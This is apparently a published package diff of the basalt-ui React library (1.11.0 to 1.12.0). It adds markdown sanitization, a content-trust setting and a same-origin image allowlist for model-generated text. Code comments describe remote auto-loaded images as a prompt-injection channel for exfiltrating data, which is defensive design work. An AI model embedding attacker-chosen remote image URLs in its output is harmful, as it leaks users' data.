basalt-ui 1.11.0 → 1.12.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (237) hide show
  1. package/AGENTS.md +21 -21
  2. package/CHANGELOG.md +15 -0
  3. package/README.md +36 -27
  4. package/agent/rules/basalt-content.md +16 -3
  5. package/dist/agent/adapter.d.ts +146 -0
  6. package/dist/agent/adapter.d.ts.map +1 -0
  7. package/dist/agent/adapter.js +473 -0
  8. package/dist/agent/adapter.test.d.ts +2 -0
  9. package/dist/agent/adapter.test.d.ts.map +1 -0
  10. package/dist/agent/ai-sdk-transport.test.d.ts +2 -0
  11. package/dist/agent/ai-sdk-transport.test.d.ts.map +1 -0
  12. package/dist/agent/coalesce.d.ts +20 -4
  13. package/dist/agent/coalesce.d.ts.map +1 -1
  14. package/dist/agent/coalesce.js +76 -8
  15. package/dist/agent/coalesce.test.d.ts +2 -0
  16. package/dist/agent/coalesce.test.d.ts.map +1 -0
  17. package/dist/agent/foreign.test.d.ts +2 -0
  18. package/dist/agent/foreign.test.d.ts.map +1 -0
  19. package/dist/agent/id.d.ts +30 -0
  20. package/dist/agent/id.d.ts.map +1 -1
  21. package/dist/agent/id.js +16 -0
  22. package/dist/agent/id.test.d.ts +2 -0
  23. package/dist/agent/id.test.d.ts.map +1 -0
  24. package/dist/agent/index.d.ts +2 -0
  25. package/dist/agent/index.d.ts.map +1 -1
  26. package/dist/agent/index.js +3 -0
  27. package/dist/agent/merge.d.ts.map +1 -1
  28. package/dist/agent/merge.js +19 -7
  29. package/dist/agent/merge.test.d.ts +2 -0
  30. package/dist/agent/merge.test.d.ts.map +1 -0
  31. package/dist/agent/part-list.d.ts +49 -34
  32. package/dist/agent/part-list.d.ts.map +1 -1
  33. package/dist/agent/part-list.js +42 -6
  34. package/dist/agent/part-list.test.d.ts +2 -0
  35. package/dist/agent/part-list.test.d.ts.map +1 -0
  36. package/dist/agent/parts.d.ts +46 -10
  37. package/dist/agent/parts.d.ts.map +1 -1
  38. package/dist/agent/parts.js +16 -6
  39. package/dist/agent/parts.test.d.ts +2 -0
  40. package/dist/agent/parts.test.d.ts.map +1 -0
  41. package/dist/agent/thread.d.ts +14 -0
  42. package/dist/agent/thread.d.ts.map +1 -1
  43. package/dist/agent/thread.js +8 -2
  44. package/dist/agent/thread.test.d.ts +2 -0
  45. package/dist/agent/thread.test.d.ts.map +1 -0
  46. package/dist/agent/transport.test.d.ts +2 -0
  47. package/dist/agent/transport.test.d.ts.map +1 -0
  48. package/dist/agent/use-agent-stream.test.d.ts +2 -0
  49. package/dist/agent/use-agent-stream.test.d.ts.map +1 -0
  50. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts +2 -0
  51. package/dist/agent/use-agent-thread-runs.foreign.test.d.ts.map +1 -0
  52. package/dist/agent/use-agent-thread-runs.resume.test.d.ts +2 -0
  53. package/dist/agent/use-agent-thread-runs.resume.test.d.ts.map +1 -0
  54. package/dist/agent/use-agent-thread-runs.test.d.ts +2 -0
  55. package/dist/agent/use-agent-thread-runs.test.d.ts.map +1 -0
  56. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts +2 -0
  57. package/dist/agent/use-agent-thread-runs.wedge.test.d.ts.map +1 -0
  58. package/dist/agent-chat/composer.d.ts +130 -8
  59. package/dist/agent-chat/composer.d.ts.map +1 -1
  60. package/dist/agent-chat/composer.js +189 -23
  61. package/dist/agent-chat/composer.test.d.ts +2 -0
  62. package/dist/agent-chat/composer.test.d.ts.map +1 -0
  63. package/dist/agent-chat/index.d.ts +1 -1
  64. package/dist/agent-chat/index.d.ts.map +1 -1
  65. package/dist/agent-chat/thread-detail-panel.d.ts.map +1 -1
  66. package/dist/agent-chat/thread-detail-panel.js +1 -1
  67. package/dist/agent-chat/thread-message.d.ts.map +1 -1
  68. package/dist/agent-chat/thread-message.js +14 -3
  69. package/dist/agent-chat/thread-message.test.d.ts +2 -0
  70. package/dist/agent-chat/thread-message.test.d.ts.map +1 -0
  71. package/dist/agent-chat/thread-workspace.js +1 -1
  72. package/dist/agent-chat/tool-chip.test.d.ts +2 -0
  73. package/dist/agent-chat/tool-chip.test.d.ts.map +1 -0
  74. package/dist/charts/primitives/ChartFrame.test.d.ts +2 -0
  75. package/dist/charts/primitives/ChartFrame.test.d.ts.map +1 -0
  76. package/dist/charts/utils/domain.test.d.ts +2 -0
  77. package/dist/charts/utils/domain.test.d.ts.map +1 -0
  78. package/dist/cli/check-theme.test.d.ts +2 -0
  79. package/dist/cli/check-theme.test.d.ts.map +1 -0
  80. package/dist/cli/help.test.d.ts +2 -0
  81. package/dist/cli/help.test.d.ts.map +1 -0
  82. package/dist/cli/index.d.ts.map +1 -1
  83. package/dist/cli/init-sync.test.d.ts +2 -0
  84. package/dist/cli/init-sync.test.d.ts.map +1 -0
  85. package/dist/cli/placement-engine.test.d.ts +2 -0
  86. package/dist/cli/placement-engine.test.d.ts.map +1 -0
  87. package/dist/cli/tarball-parity.test.d.ts +2 -0
  88. package/dist/cli/tarball-parity.test.d.ts.map +1 -0
  89. package/dist/cli/template-format.test.d.ts +2 -0
  90. package/dist/cli/template-format.test.d.ts.map +1 -0
  91. package/dist/cli/template-ledger.test.d.ts +2 -0
  92. package/dist/cli/template-ledger.test.d.ts.map +1 -0
  93. package/dist/cli/tokens-css.test.d.ts +2 -0
  94. package/dist/cli/tokens-css.test.d.ts.map +1 -0
  95. package/dist/content/article-actions.test.d.ts +2 -0
  96. package/dist/content/article-actions.test.d.ts.map +1 -0
  97. package/dist/content/article-model.test.d.ts +2 -0
  98. package/dist/content/article-model.test.d.ts.map +1 -0
  99. package/dist/content/block-split.test.d.ts +2 -0
  100. package/dist/content/block-split.test.d.ts.map +1 -0
  101. package/dist/content/fence-block.d.ts +37 -10
  102. package/dist/content/fence-block.d.ts.map +1 -1
  103. package/dist/content/fence-block.js +80 -14
  104. package/dist/content/heading-components.d.ts.map +1 -1
  105. package/dist/content/heading-components.js +7 -4
  106. package/dist/content/heading-components.test.d.ts +2 -0
  107. package/dist/content/heading-components.test.d.ts.map +1 -0
  108. package/dist/content/index.d.ts +6 -3
  109. package/dist/content/index.d.ts.map +1 -1
  110. package/dist/content/index.js +5 -1
  111. package/dist/content/markdown.d.ts +101 -14
  112. package/dist/content/markdown.d.ts.map +1 -1
  113. package/dist/content/markdown.js +141 -28
  114. package/dist/content/markdown.test.d.ts +2 -0
  115. package/dist/content/markdown.test.d.ts.map +1 -0
  116. package/dist/content/prose.module.css.test.d.ts +2 -0
  117. package/dist/content/prose.module.css.test.d.ts.map +1 -0
  118. package/dist/content/sanitize.d.ts +170 -0
  119. package/dist/content/sanitize.d.ts.map +1 -0
  120. package/dist/content/sanitize.js +178 -0
  121. package/dist/content/sanitize.test.d.ts +2 -0
  122. package/dist/content/sanitize.test.d.ts.map +1 -0
  123. package/dist/content/slug.test.d.ts +2 -0
  124. package/dist/content/slug.test.d.ts.map +1 -0
  125. package/dist/dashboard/stat-card.test.d.ts +2 -0
  126. package/dist/dashboard/stat-card.test.d.ts.map +1 -0
  127. package/dist/guard/check-source.test.d.ts +2 -0
  128. package/dist/guard/check-source.test.d.ts.map +1 -0
  129. package/dist/guard/guard-hook.test.d.ts +2 -0
  130. package/dist/guard/guard-hook.test.d.ts.map +1 -0
  131. package/dist/index.d.ts +3 -3
  132. package/dist/index.d.ts.map +1 -1
  133. package/dist/index.js +9 -1
  134. package/dist/provider/index.test.d.ts +2 -0
  135. package/dist/provider/index.test.d.ts.map +1 -0
  136. package/dist/provider/lab-theme.test.d.ts +2 -0
  137. package/dist/provider/lab-theme.test.d.ts.map +1 -0
  138. package/dist/router-tanstack/multi-search-param-store.test.d.ts +2 -0
  139. package/dist/router-tanstack/multi-search-param-store.test.d.ts.map +1 -0
  140. package/dist/styles.floor.test.d.ts +2 -0
  141. package/dist/styles.floor.test.d.ts.map +1 -0
  142. package/dist/surfaces.d.ts +4 -4
  143. package/dist/surfaces.d.ts.map +1 -1
  144. package/dist/surfaces.js +12 -3
  145. package/dist/theme/border-coverage.test.d.ts +18 -0
  146. package/dist/theme/border-coverage.test.d.ts.map +1 -0
  147. package/dist/theme/contrast.test.d.ts +2 -0
  148. package/dist/theme/contrast.test.d.ts.map +1 -0
  149. package/dist/theme/density-option.test.d.ts +2 -0
  150. package/dist/theme/density-option.test.d.ts.map +1 -0
  151. package/dist/theme/density-relations.test.d.ts +2 -0
  152. package/dist/theme/density-relations.test.d.ts.map +1 -0
  153. package/dist/theme/derive-theme.test.d.ts +2 -0
  154. package/dist/theme/derive-theme.test.d.ts.map +1 -0
  155. package/dist/theme/fonts-option.test.d.ts +2 -0
  156. package/dist/theme/fonts-option.test.d.ts.map +1 -0
  157. package/dist/theme/radius-option.test.d.ts +2 -0
  158. package/dist/theme/radius-option.test.d.ts.map +1 -0
  159. package/dist/theme/radius.test.d.ts +2 -0
  160. package/dist/theme/radius.test.d.ts.map +1 -0
  161. package/dist/theme/shadow-surfaces.test.d.ts +26 -0
  162. package/dist/theme/shadow-surfaces.test.d.ts.map +1 -0
  163. package/dist/theme/spacing.test.d.ts +2 -0
  164. package/dist/theme/spacing.test.d.ts.map +1 -0
  165. package/dist/theme/use-basalt-spacing.test.d.ts +2 -0
  166. package/dist/theme/use-basalt-spacing.test.d.ts.map +1 -0
  167. package/dist/theme-lab/derive-controls.test.d.ts +2 -0
  168. package/dist/theme-lab/derive-controls.test.d.ts.map +1 -0
  169. package/dist/theme-lab/derive-state.test.d.ts +2 -0
  170. package/dist/theme-lab/derive-state.test.d.ts.map +1 -0
  171. package/dist/theme-lab/theme-lab.test.d.ts +2 -0
  172. package/dist/theme-lab/theme-lab.test.d.ts.map +1 -0
  173. package/dist/tokens/build-fonts-css.test.d.ts +2 -0
  174. package/dist/tokens/build-fonts-css.test.d.ts.map +1 -0
  175. package/dist/tokens/build-radius-css.test.d.ts +2 -0
  176. package/dist/tokens/build-radius-css.test.d.ts.map +1 -0
  177. package/dist/tokens/density.test.d.ts +2 -0
  178. package/dist/tokens/density.test.d.ts.map +1 -0
  179. package/dist/tokens/derive-radius.test.d.ts +2 -0
  180. package/dist/tokens/derive-radius.test.d.ts.map +1 -0
  181. package/dist/tokens/derive.test.d.ts +2 -0
  182. package/dist/tokens/derive.test.d.ts.map +1 -0
  183. package/dist/tokens/palette.test.d.ts +2 -0
  184. package/dist/tokens/palette.test.d.ts.map +1 -0
  185. package/dist/vite-color-mix.test.d.ts +2 -0
  186. package/dist/vite-color-mix.test.d.ts.map +1 -0
  187. package/dist/vite.test.d.ts +2 -0
  188. package/dist/vite.test.d.ts.map +1 -0
  189. package/llms.txt +6 -6
  190. package/package.json +6 -1
  191. package/src/agent/adapter.test.ts +1403 -0
  192. package/src/agent/adapter.ts +887 -0
  193. package/src/agent/ai-sdk-transport.test.ts +53 -26
  194. package/src/agent/coalesce.test.ts +202 -9
  195. package/src/agent/coalesce.ts +126 -15
  196. package/src/agent/foreign.test.ts +5 -1
  197. package/src/agent/id.test.ts +6 -2
  198. package/src/agent/id.ts +48 -0
  199. package/src/agent/index.ts +8 -0
  200. package/src/agent/merge.test.ts +87 -0
  201. package/src/agent/merge.ts +57 -10
  202. package/src/agent/part-list.test.tsx +31 -1
  203. package/src/agent/part-list.tsx +77 -29
  204. package/src/agent/parts.test.ts +121 -4
  205. package/src/agent/parts.ts +78 -17
  206. package/src/agent/thread.test.ts +75 -2
  207. package/src/agent/thread.ts +21 -1
  208. package/src/agent/use-agent-stream.test.tsx +9 -5
  209. package/src/agent/use-agent-thread-runs.foreign.test.tsx +5 -0
  210. package/src/agent/use-agent-thread-runs.resume.test.tsx +16 -11
  211. package/src/agent/use-agent-thread-runs.test.tsx +30 -17
  212. package/src/agent/use-agent-thread-runs.wedge.test.tsx +13 -7
  213. package/src/agent-chat/composer.test.tsx +924 -0
  214. package/src/agent-chat/composer.tsx +521 -52
  215. package/src/agent-chat/index.ts +1 -1
  216. package/src/agent-chat/thread-detail-panel.tsx +3 -1
  217. package/src/agent-chat/thread-message.test.tsx +141 -1
  218. package/src/agent-chat/thread-message.tsx +29 -4
  219. package/src/agent-chat/thread-workspace.tsx +1 -1
  220. package/src/cli/index.ts +0 -1
  221. package/src/cli/template-format.test.ts +2 -2
  222. package/src/content/fence-block.tsx +242 -15
  223. package/src/content/heading-components.test.tsx +65 -0
  224. package/src/content/heading-components.tsx +26 -5
  225. package/src/content/index.ts +19 -3
  226. package/src/content/markdown.test.tsx +603 -0
  227. package/src/content/markdown.tsx +355 -35
  228. package/src/content/sanitize.test.ts +659 -0
  229. package/src/content/sanitize.ts +510 -0
  230. package/src/dashboard/stat-card.test.tsx +6 -1
  231. package/src/index.ts +13 -1
  232. package/src/surfaces.ts +12 -3
  233. package/src/theme/contrast.test.ts +1 -4
  234. package/src/theme/density-relations.test.ts +4 -2
  235. package/src/theme/fonts-option.test.ts +7 -1
  236. package/src/theme/shadow-surfaces.test.ts +12 -6
  237. package/src/theme/use-basalt-spacing.test.tsx +2 -1
@@ -5,15 +5,26 @@
5
5
  * `agent/**` deliberately ships no renderer of its own, since `agent/** -> content` is
6
6
  * lint-blocked by design.
7
7
  *
8
- * LAZY-LOADED: react-markdown and remark-gfm are OPTIONAL peers, loaded via `React.lazy` + dynamic
9
- * `import()` (mirrors `agent/streaming-markdown.tsx` and `./highlighter`) — importing
10
- * `basalt-ui/content` never eagerly resolves them. Without them installed, `Markdown` renders the
11
- * raw string as plain text.
8
+ * LAZY-LOADED: react-markdown, remark-gfm, rehype-sanitize and remend are all OPTIONAL peers,
9
+ * loaded via `React.lazy` / dynamic `import()` (mirrors `agent/streaming-markdown.tsx` and
10
+ * `./highlighter`) — importing `basalt-ui/content` never eagerly resolves any of them. Without
11
+ * react-markdown or remark-gfm, `Markdown` renders the raw string as plain text; without
12
+ * rehype-sanitize the sanitize pass is skipped (dev-warned once); without remend the streaming
13
+ * tail renders unrepaired.
14
+ *
15
+ * SANITIZATION: basalt appends its own `rehype-sanitize` pass AFTER the consumer's `rehypePlugins`
16
+ * — plugin order in unified is registration order, so last is the only position nothing can
17
+ * outrun. `sanitizeSchema` is an ADDITIONS-only extension merged over `BASALT_SANITIZE_SCHEMA`
18
+ * (see `./sanitize`); removing a default allowance is deliberately not expressible.
19
+ *
20
+ * TRUST vs STREAMING: `streaming` is a rendering mode (the text is still arriving); `contentTrust`
21
+ * is the security input (where the text came from). They are independent — a FINISHED agent message
22
+ * is settled AND untrusted. Only `contentTrust` selects the image allowlist default.
12
23
  *
13
24
  * Default element overrides:
14
25
  * - `h1`..`h6` — slugged + hover-anchored (`./heading-components`).
15
- * - fenced code (`pre`) — `CodeBlock`, or `MermaidDiagram` for a settled ` ```mermaid ` fence
16
- * (`./fence-block`).
26
+ * - fenced code (`pre`) — the fence-renderer registry (`./fence-block`): `fenceRenderers[lang]`,
27
+ * then the built-ins (a settled ` ```mermaid ` fence → `MermaidDiagram`), then `CodeBlock`.
17
28
  * - `blockquote` — a GFM alert marker (`[!NOTE]` etc.) renders as `Callout`; otherwise passes
18
29
  * through (`./callout-alert`).
19
30
  * - `a`/`img` — hardened via `allowedLinkPrefixes`/`allowedImagePrefixes`/`defaultOrigin`
@@ -32,11 +43,11 @@
32
43
  * import { Markdown } from 'basalt-ui/content'
33
44
  *
34
45
  * <Markdown>{articleMarkdown}</Markdown>
35
- * <Markdown density="chat" streaming allowedLinkPrefixes={['https://']}>{streamedText}</Markdown>
46
+ * <Markdown density="chat" streaming contentTrust="untrusted">{streamedText}</Markdown>
47
+ * <Markdown fenceRenderers={{ vega: settledOnly(({ code }) => <VegaChart spec={code} />) }}>
36
48
  */
37
49
  import type { CSSProperties, JSX } from 'react'
38
- import { lazy, memo, Suspense, useMemo } from 'react'
39
- import remend from 'remend'
50
+ import { lazy, memo, Suspense, useEffect, useMemo, useState } from 'react'
40
51
  import type {
41
52
  Components,
42
53
  ExtraProps,
@@ -45,10 +56,13 @@ import type {
45
56
  } from 'react-markdown'
46
57
  import { ALERT_CALLOUT_KIND, ALERT_TITLE, detectAlert, stripAlertMarker } from './callout-alert'
47
58
  import { FenceBlock } from './fence-block'
59
+ import type { FenceRenderers } from './fence-block'
48
60
  import { createHeadingComponents } from './heading-components'
49
61
  import { Callout } from './callout'
50
62
  import { Prose } from './prose'
51
63
  import type { ProseDensity } from './prose'
64
+ import { BASALT_SANITIZE_SCHEMA, mergeSanitizeSchema } from './sanitize'
65
+ import type { SanitizeSchema, SanitizeSchemaExtension, SanitizeSchemaInput } from './sanitize'
52
66
  import { SlugTracker } from './slug'
53
67
  import { blockSplit } from './block-split'
54
68
  import { createUrlTransform } from './url-hardening'
@@ -57,6 +71,19 @@ import { createUrlTransform } from './url-hardening'
57
71
 
58
72
  export type MarkdownComponents = Components
59
73
 
74
+ // The fence registry's public vocabulary lives in `./fence-block` (next to the built-ins it
75
+ // defines) and is re-exported here — `fenceRenderers` is a `MarkdownProps` field, so this is the
76
+ // module a consumer already imports.
77
+ export { settledOnly } from './fence-block'
78
+ export type { FenceRenderContext, FenceRenderer, FenceRenderers } from './fence-block'
79
+
80
+ /**
81
+ * Provenance of a `Markdown` body — the ONLY input to the image-allowlist default. Deliberately not
82
+ * a boolean: `contentTrust="untrusted"` says at the call site what it means, where `untrusted` /
83
+ * `!trusted` would not.
84
+ */
85
+ export type MarkdownContentTrust = 'trusted' | 'untrusted'
86
+
60
87
  export type MarkdownProps = {
61
88
  /** The markdown string to render. Safe to update on every character during streaming. */
62
89
  readonly children: string
@@ -64,21 +91,70 @@ export type MarkdownProps = {
64
91
  readonly density?: ProseDensity
65
92
  /** `Prose`'s measure cap. Defaults to `true` for `'article'` density, `false` for `'chat'`. */
66
93
  readonly measure?: boolean
67
- /** AI-stream mode — block-split + memoize + `remend`-repair the in-flight tail. Default `false`. */
94
+ /** AI-stream mode — block-split + memoize + `remend`-repair the in-flight tail. Default `false`.
95
+ * Purely a RENDERING mode: it says the text is still arriving, NOT that it is untrusted. Use
96
+ * `contentTrust` for the security policy. */
68
97
  readonly streaming?: boolean
69
- /** Per-element overrides merged OVER the defaults (only the keys you supply are replaced). */
98
+ /**
99
+ * Where `children` came from — the input to the image policy, independent of `streaming`.
100
+ * `'untrusted'` (model-generated or third-party markdown) drops the `allowedImagePrefixes`
101
+ * default to same-origin `['/']`; `'trusted'` (your own authored content) keeps
102
+ * `['https://', '/']`. An explicit `allowedImagePrefixes` always wins over both.
103
+ *
104
+ * Default: `'untrusted'` when `streaming` is set, `'trusted'` otherwise. That default only
105
+ * preserves the pre-1.12 fail-safe — it is NOT the policy. Settledness has nothing to do with
106
+ * trust: a FINISHED agent message is still model-generated, so any surface rendering agent text
107
+ * must pin `contentTrust="untrusted"` explicitly rather than lean on `streaming`.
108
+ */
109
+ readonly contentTrust?: MarkdownContentTrust
110
+ /**
111
+ * Per-element overrides merged OVER the defaults (only the keys you supply are replaced).
112
+ *
113
+ * A CUSTOM tag admitted via `sanitizeSchema.tagNames` (e.g. `'x-callout'`) cannot be given an
114
+ * override here: react-markdown's `Components` type is a mapped type over `JSX.IntrinsicElements`,
115
+ * which only has entries for real HTML/SVG tags — a made-up tag name is not a valid key of it, so
116
+ * there is no override slot for it to occupy. Style such a tag with CSS (element/attribute
117
+ * selectors) or a wrapping component instead of trying to intercept it here.
118
+ */
70
119
  readonly components?: MarkdownComponents
120
+ /**
121
+ * Fence renderers keyed by language, consulted BEFORE the built-in mermaid/`CodeBlock` dispatch.
122
+ * Wrap a heavyweight renderer in `settledOnly` to keep it off the still-streaming tail. Pass a
123
+ * referentially stable object — it participates in the streaming memoization.
124
+ */
125
+ readonly fenceRenderers?: FenceRenderers
126
+ /**
127
+ * ADDITIONS merged into `BASALT_SANITIZE_SCHEMA` over rehype-sanitize's `defaultSchema`.
128
+ * Removals are not expressible — a schema handed to `rehype-sanitize` directly would replace the
129
+ * defaults wholesale (hast-util-sanitize merges with a shallow top-level spread), which is
130
+ * exactly the footgun this shape removes.
131
+ */
132
+ readonly sanitizeSchema?: SanitizeSchemaExtension
71
133
  /** Allowed `href` prefixes. Default `['https://', 'mailto:', '#', '/']`. */
72
134
  readonly allowedLinkPrefixes?: readonly string[]
73
- /** Allowed `img src` prefixes. Default `['https://', '/']`; in `streaming` mode `['/']`
74
- * (same-origin only) — auto-fetched images are the classic prompt-injection exfiltration
75
- * channel, so remote origins must be opted in explicitly for model-generated content. */
135
+ /** Allowed `img src` prefixes. Default `['https://', '/']` for trusted content, `['/']`
136
+ * (same-origin only) when `contentTrust` resolves to `'untrusted'` — auto-fetched images are the
137
+ * classic prompt-injection exfiltration channel, so remote origins must be opted in explicitly
138
+ * for model-generated content. */
76
139
  readonly allowedImagePrefixes?: readonly string[]
77
140
  /** Resolves a relative `href`/`src` to an absolute URL before the allowlist check's result is used. */
78
141
  readonly defaultOrigin?: string
79
142
  /** Escape hatch — appended after `remark-gfm`. */
80
143
  readonly remarkPlugins?: readonly unknown[]
81
- /** Escape hatch — appended after react-markdown's defaults. */
144
+ /**
145
+ * Escape hatch — appended after react-markdown's defaults, and BEFORE basalt's sanitize pass
146
+ * (which always runs last, so nothing supplied here can outrun it).
147
+ *
148
+ * react-markdown does NOT parse raw HTML in the markdown SOURCE by default (no `rehype-raw` is
149
+ * included here or by react-markdown itself) — a literal `<script>...</script>` typed into
150
+ * `children` never becomes a hast element; it stays inert text and the sanitize pass never even
151
+ * sees it. Concretely: a test that types a raw `<script>` tag into `children` and asserts it never
152
+ * renders is NOT exercising the sanitize pass — it would pass identically with the pass removed
153
+ * entirely, because the string was never a node the sanitizer could act on in the first place. The
154
+ * sanitize pass only ever sees elements produced by remark/rehype PLUGINS (`remarkPlugins`,
155
+ * `rehypePlugins`, or `rehype-raw` if a consumer adds it here) — that is the surface worth testing
156
+ * against unsafe markup, not raw source text.
157
+ */
82
158
  readonly rehypePlugins?: readonly unknown[]
83
159
  readonly className?: string
84
160
  readonly style?: CSSProperties
@@ -91,11 +167,16 @@ type ImgProps = JSX.IntrinsicElements['img'] & ExtraProps
91
167
  type BlockquoteProps = JSX.IntrinsicElements['blockquote'] & ExtraProps
92
168
  type PreProps = JSX.IntrinsicElements['pre'] & ExtraProps
93
169
 
94
- function LinkRenderer({ href, children }: LinkProps) {
95
- if (href === undefined) return <span>{children}</span>
170
+ // `rest` is forwarded, not dropped: it is what the sanitize pass already vetted (only
171
+ // `defaultSchema.attributes.a` + the `'*'` list can reach here), and dropping it broke GFM
172
+ // footnotes in the other direction from the clobber bug — a ref anchor's `id` is the target of its
173
+ // own back-link, so `href="#user-content-fnref-1"` dangled with the id discarded at render time.
174
+ // `node` is react-markdown's hast handle (`ExtraProps`) and must NOT reach the DOM.
175
+ function LinkRenderer({ href, children, node: _node, ...rest }: LinkProps) {
176
+ if (href === undefined) return <span {...rest}>{children}</span>
96
177
  const external = href.startsWith('http://') || href.startsWith('https://')
97
178
  return (
98
- <a href={href} {...(external && { target: '_blank', rel: 'noreferrer noopener' })}>
179
+ <a href={href} {...rest} {...(external && { target: '_blank', rel: 'noreferrer noopener' })}>
99
180
  {children}
100
181
  </a>
101
182
  )
@@ -118,22 +199,137 @@ function BlockquoteRenderer({ children }: BlockquoteProps) {
118
199
  )
119
200
  }
120
201
 
121
- function createPreRenderer(settled: boolean) {
202
+ function createPreRenderer(settled: boolean, fenceRenderers: FenceRenderers | undefined) {
122
203
  return function PreRenderer({ node }: PreProps) {
123
- return <FenceBlock settled={settled} {...(node !== undefined && { node })} />
204
+ return (
205
+ <FenceBlock
206
+ settled={settled}
207
+ {...(node !== undefined && { node })}
208
+ {...(fenceRenderers !== undefined && { renderers: fenceRenderers })}
209
+ />
210
+ )
124
211
  }
125
212
  }
126
213
 
127
- function buildMarkdownComponents(tracker: SlugTracker, settled: boolean): Components {
214
+ function buildMarkdownComponents(
215
+ tracker: SlugTracker,
216
+ settled: boolean,
217
+ fenceRenderers: FenceRenderers | undefined,
218
+ ): Components {
128
219
  return {
129
220
  ...createHeadingComponents(tracker),
130
- pre: createPreRenderer(settled),
221
+ pre: createPreRenderer(settled, fenceRenderers),
131
222
  blockquote: BlockquoteRenderer,
132
223
  a: LinkRenderer,
133
224
  img: ImageRenderer,
134
225
  }
135
226
  }
136
227
 
228
+ // ── Lazy-loaded rehype-sanitize ───────────────────────────────────────────────────────────────
229
+
230
+ /** The resolved sanitize peer: its plugin plus the `defaultSchema` it re-exports. */
231
+ type MarkdownSanitizer = {
232
+ readonly plugin: unknown
233
+ readonly baseSchema: SanitizeSchemaInput
234
+ }
235
+
236
+ let sanitizerPromise: Promise<MarkdownSanitizer | null> | null = null
237
+
238
+ /**
239
+ * Module-level singleton (mirrors `./mermaid`'s `loadMermaidModule`) — resolves once, so the
240
+ * missing-peer warning below is emitted at most once per process.
241
+ *
242
+ * `defaultSchema` is NOT materialized into `BASALT_SANITIZE_SCHEMA` at module scope on purpose:
243
+ * that would need a static import of an OPTIONAL peer and hard-require it for every consumer. The
244
+ * effective schema is composed here instead, where the peer is already in hand.
245
+ */
246
+ function loadSanitizer(): Promise<MarkdownSanitizer | null> {
247
+ sanitizerPromise ??= import('rehype-sanitize')
248
+ .then((mod) => ({
249
+ plugin: mod.default,
250
+ // No cast: `SanitizeSchemaInput` mirrors hast-util-sanitize's `Schema` INCLUDING its
251
+ // `| null | undefined` field arms, so `defaultSchema` assigns straight across;
252
+ // `mergeSanitizeSchema` normalizes the nulls away and hands back a `SanitizeSchema`.
253
+ baseSchema: mod.defaultSchema,
254
+ }))
255
+ .catch(() => {
256
+ if (process.env['NODE_ENV'] !== 'production') {
257
+ console.warn(
258
+ '[basalt] Markdown: optional peer "rehype-sanitize" is not installed — the sanitize pass is skipped. ' +
259
+ 'react-markdown does not parse raw HTML by default, so this only opens a hole if a ' +
260
+ 'rehypePlugin (rehype-raw and friends) puts untrusted nodes into the tree. ' +
261
+ 'Install it with: bun add rehype-sanitize',
262
+ )
263
+ }
264
+ return null
265
+ })
266
+ return sanitizerPromise
267
+ }
268
+
269
+ /**
270
+ * GFM FOOTNOTES: exactly ONE layer may namespace ids, and it has to be `mdast-util-to-hast`'s.
271
+ *
272
+ * TWO layers prefix, and only one of them touches `href`. react-markdown calls `remark-rehype` with
273
+ * no `clobberPrefix` override, so `mdast-util-to-hast` applies its own `'user-content-'` to BOTH
274
+ * sides of a footnote link (`id="user-content-fn-1"`, `href="#user-content-fn-1"`).
275
+ * `hast-util-sanitize` then prefixes again, unconditionally, but only the properties in
276
+ * `defaultSchema.clobber` (`ariaDescribedBy`, `ariaLabelledBy`, `id`, `name`) — `href` is NOT among
277
+ * them. Executed against the installed rehype-sanitize@6.0.0 / mdast-util-to-hast@13.2.1, the pass
278
+ * emitted `id="user-content-user-content-fn-1"` next to `href="#user-content-fn-1"`, so EVERY
279
+ * footnote link, back-link and `aria-describedby` dangled.
280
+ *
281
+ * REJECTED: `remarkRehypeOptions: { clobberPrefix: '' }`, letting the sanitizer own the prefixing.
282
+ * Executed, it only moves the break — `href="#fn-1"` beside `id="user-content-fn-1"`, still
283
+ * dangling, because the sanitizer never rewrites `href`. Also rejected: rewriting hash hrefs in
284
+ * `urlTransform` to re-add the sanitizer's prefix — that runs on EVERY in-document link, so an
285
+ * author's `[x](#some-heading)` would stop matching the un-prefixed slug ids basalt's heading
286
+ * renderers generate downstream of hast.
287
+ *
288
+ * WHAT STILL PROTECTS IDS. Upstream skips clobbering entirely when `clobberPrefix` is falsy
289
+ * (`hast-util-sanitize/lib/index.js:653-657`), so this trades away its `id`/`name` namespacing:
290
+ * - Every id markdown SYNTAX can produce is a footnote id, and `mdast-util-to-hast` still
291
+ * namespaces those under `user-content-fn-`/`user-content-fnref-` — including the
292
+ * attacker-chosen footnote identifier — on the id and the href alike.
293
+ * - Raw HTML never becomes an element: react-markdown ships no `rehype-raw`, so `<div id="x">` in
294
+ * the source stays a `raw` node the sanitize pass drops (executed: it does).
295
+ * - basalt's own heading ids are added by React renderers downstream of hast, so the sanitizer
296
+ * never saw them and never protected them.
297
+ * The residue is a consumer whose `rehypePlugins` INJECT elements (`rehype-raw` and friends):
298
+ * arbitrary `id`/`name` then survives un-namespaced. Such a consumer restores it by adding their
299
+ * own clobbering pass to `rehypePlugins` — basalt's later pass does not un-prefix what an earlier
300
+ * one prefixed.
301
+ *
302
+ * WHY IT IS SET HERE AND NOT AS AN EXTENSION: `mergeSanitizeSchema` deliberately IGNORES an empty
303
+ * `clobberPrefix` from a `SanitizeSchemaExtension` (`adoptClobberPrefix` in `./sanitize`) — that is
304
+ * the additions-only channel refusing to let OUTSIDE code disable a protection. This is not outside
305
+ * code: basalt owns both prefixing layers here, so the pipeline-level decision belongs at the
306
+ * composition site, past the merge. It is not a consumer knob for the same reason.
307
+ */
308
+ function withSingleClobberLayer(schema: SanitizeSchema) {
309
+ return { ...schema, clobberPrefix: '' }
310
+ }
311
+
312
+ /**
313
+ * Consumer plugins first, basalt's sanitize pass LAST — "everything after rehype-sanitize could be
314
+ * unsafe", so last is the only position nothing supplied through the escape hatch can outrun.
315
+ *
316
+ * Exported for the ordering test only; `./index.ts` deliberately does not re-export it.
317
+ */
318
+ export function composeRehypePlugins({
319
+ sanitizer,
320
+ consumerPlugins,
321
+ sanitizeSchema,
322
+ }: {
323
+ readonly sanitizer: MarkdownSanitizer | null
324
+ readonly consumerPlugins?: readonly unknown[]
325
+ readonly sanitizeSchema?: SanitizeSchemaExtension
326
+ }): readonly unknown[] {
327
+ const consumer = consumerPlugins ?? []
328
+ if (sanitizer === null) return consumer
329
+ const merged = mergeSanitizeSchema(sanitizer.baseSchema, BASALT_SANITIZE_SCHEMA, sanitizeSchema)
330
